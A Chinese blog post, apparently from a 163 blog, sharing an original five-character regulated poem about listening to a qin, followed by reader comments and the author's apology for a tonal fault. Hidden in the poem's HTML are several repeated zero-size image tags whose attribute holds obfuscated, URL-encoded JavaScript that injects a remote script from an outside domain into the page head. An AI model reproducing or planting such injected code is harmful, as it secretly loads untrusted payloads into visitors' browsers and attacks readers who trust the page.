[原创]五律?听琴有感

柳下雪

<strong><font face="楷体_gb2312" color="#000080" size="5">月夜春江水，清寒渡久违。</font></strong>
<p><strong><font face="楷体_gb2312" color="#000080" size="5">弹指莲花落，摘星徵羽飞。</font></strong><img id="hde" title="（原创）五律?听琴有感 - 柳下雪 - 黄水尽淘沙  太行欲入云" height="0" alt="（原创）五律?听琴有感 - 柳下雪 - 黄水尽淘沙  太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）五律?听琴有感 - 柳下雪 - 黄水尽淘沙  太行欲入云" height="0" alt="（原创）五律?听琴有感 - 柳下雪 - 黄水尽淘沙  太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）五律?听琴有感 - 柳下雪 - 黄水尽淘沙  太行欲入云" height="0" alt="（原创）五律?听琴有感 - 柳下雪 - 黄水尽淘沙  太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）五律?听琴有感 - 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柳下雪 - 黄水尽淘沙  太行欲入云" height="0" alt="（原创）五律?听琴有感 - 柳下雪 - 黄水尽淘沙  太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）五律?听琴有感 - 柳下雪 - 黄水尽淘沙  太行欲入云" height="0" alt="（原创）五律?听琴有感 - 柳下雪 - 黄水尽淘沙  太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）五律?听琴有感 - 柳下雪 - 黄水尽淘沙  太行欲入云" height="0" alt="（原创）五律?听琴有感 - 柳下雪 - 黄水尽淘沙  太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）五律?听琴有感 - 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<p><strong><font face="楷体_gb2312" color="#000080" size="5">天溪帘雨注，陌路梦踪随。</font></strong></p>
<p><strong><font face="楷体_gb2312" color="#000080" size="5">稽首终难再，柳岸郁丝垂。</font></strong></p>

又是秋色

莲花，似不稳。稽首终难再，柳岸郁丝垂。喜结。

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柳下雪

对不起各位诗友，该作失粘了，羞愧难当！暂作五古，赦我修改。